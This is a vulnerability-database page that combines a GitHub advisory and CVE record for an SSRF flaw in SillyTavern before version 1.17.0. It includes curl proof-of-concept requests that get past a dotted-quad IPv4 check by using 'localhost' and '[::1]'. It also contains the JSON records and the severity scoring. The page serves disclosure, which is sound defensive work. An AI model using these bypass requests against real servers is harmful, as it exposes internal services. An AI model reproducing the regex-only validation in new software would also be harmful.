Vulnerability-Lookup

GHSA-WM7J-M6JM-8797

Vulnerability from github – Published: 2026-04-01 21:42 – Updated: 2026-04-06 17:24

Summary

SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6

Details

Distinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.

In src/endpoints/search.js line 419, the hostname is checked against /^\d+\.\d+\.\d+\.\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch: - localhost (hostname, not dotted-quad) - [::1] (IPv6 loopback) - DNS names resolving to internal addresses (e.g. localtest.me -> 127.0.0.1)

A separate port check (urlObj.port !== '') limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.

PoC

Start SillyTavern v1.16.0 normally
Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled):

# Blocked — dotted-quad matched by regex
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://127.0.0.1/", "html": true}'
# Returns: 400 (blocked)

# Bypassed — "localhost" is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://localhost/", "html": true}'
# Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)

# Bypassed — IPv6 loopback is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://[::1]/", "html": true}'
# Returns: 500 (passed validation, fetch attempted)

The 400 vs 500 difference confirms localhost and [::1] pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.

Impact

Server-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.

Resolution

The issue was addressed in version 1.17.0 by improving IPv6 address validation

Severity

5.0 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

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JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.16.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "sillytavern"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34526"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T21:42:24Z",
    "nvd_published_at": "2026-04-02T18:16:29Z",
    "severity": "MODERATE"
  },
  "details": "### Details\nDistinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.\n\nIn `src/endpoints/search.js` line 419, the hostname is checked against `/^\\d+\\.\\d+\\.\\d+\\.\\d+$/`. This only matches literal dotted-quad IPv4 (e.g. `127.0.0.1`, `10.0.0.1`). It does not catch:\n- `localhost` (hostname, not dotted-quad)\n- `[::1]` (IPv6 loopback)\n- DNS names resolving to internal addresses (e.g. `localtest.me` -\u003e 127.0.0.1)\n\nA separate port check (`urlObj.port !== \u0027\u0027`) limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.\n\n### PoC\n1. Start SillyTavern v1.16.0 normally\n2. Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled):\n```bash\n# Blocked \u2014 dotted-quad matched by regex\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\": \"http://127.0.0.1/\", \"html\": true}\u0027\n# Returns: 400 (blocked)\n\n# Bypassed \u2014 \"localhost\" is not dotted-quad\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\": \"http://localhost/\", \"html\": true}\u0027\n# Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)\n\n# Bypassed \u2014 IPv6 loopback is not dotted-quad\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\": \"http://[::1]/\", \"html\": true}\u0027\n# Returns: 500 (passed validation, fetch attempted)\n```\n\nThe 400 vs 500 difference confirms `localhost` and `[::1]` pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.\n\n### Impact\nServer-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.\n\n## Resolution\n\nThe issue was addressed in version 1.17.0 by improving IPv6 address validation",
  "id": "GHSA-wm7j-m6jm-8797",
  "modified": "2026-04-06T17:24:59Z",
  "published": "2026-04-01T21:42:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-wm7j-m6jm-8797"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34526"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SillyTavern/SillyTavern"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6"
}

CVE-2026-34526 (GCVE-0-2026-34526)

Vulnerability from cvelistv5 – Published: 2026-04-02 17:16 – Updated: 2026-04-02 17:48

Title

SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6

Summary

SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, in src/endpoints/search.js, the hostname is checked against /^\d+\.\d+\.\d+\.\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch: localhost (hostname, not dotted-quad), [::1] (IPv6 loopback), and DNS names resolving to internal addresses (e.g. localtest.me -> 127.0.0.1). A separate port check (urlObj.port !== '') limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF. This issue has been patched in version 1.17.0.

Severity

5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-02 17:47 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root Scorecard

References

2 references

URL	Tags
https://github.com/SillyTavern/SillyTavern/securi…	x_refsource_CONFIRM
https://github.com/SillyTavern/SillyTavern/releas…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
SillyTavern	SillyTavern	Affected: < 1.17.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-34526",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-02T17:47:59.886274Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-02T17:48:03.787Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-wm7j-m6jm-8797"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "SillyTavern",
          "vendor": "SillyTavern",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.17.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, in src/endpoints/search.js, the hostname is checked against /^\\d+\\.\\d+\\.\\d+\\.\\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch: localhost (hostname, not dotted-quad), [::1] (IPv6 loopback), and DNS names resolving to internal addresses (e.g. localtest.me -\u003e 127.0.0.1). A separate port check (urlObj.port !== \u0027\u0027) limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF. This issue has been patched in version 1.17.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-02T17:16:55.897Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-wm7j-m6jm-8797",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-wm7j-m6jm-8797"
        },
        {
          "name": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0"
        }
      ],
      "source": {
        "advisory": "GHSA-wm7j-m6jm-8797",
        "discovery": "UNKNOWN"
      },
      "title": "SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-34526",
    "datePublished": "2026-04-02T17:16:55.897Z",
    "dateReserved": "2026-03-30T16:03:31.048Z",
    "dateUpdated": "2026-04-02T17:48:03.787Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

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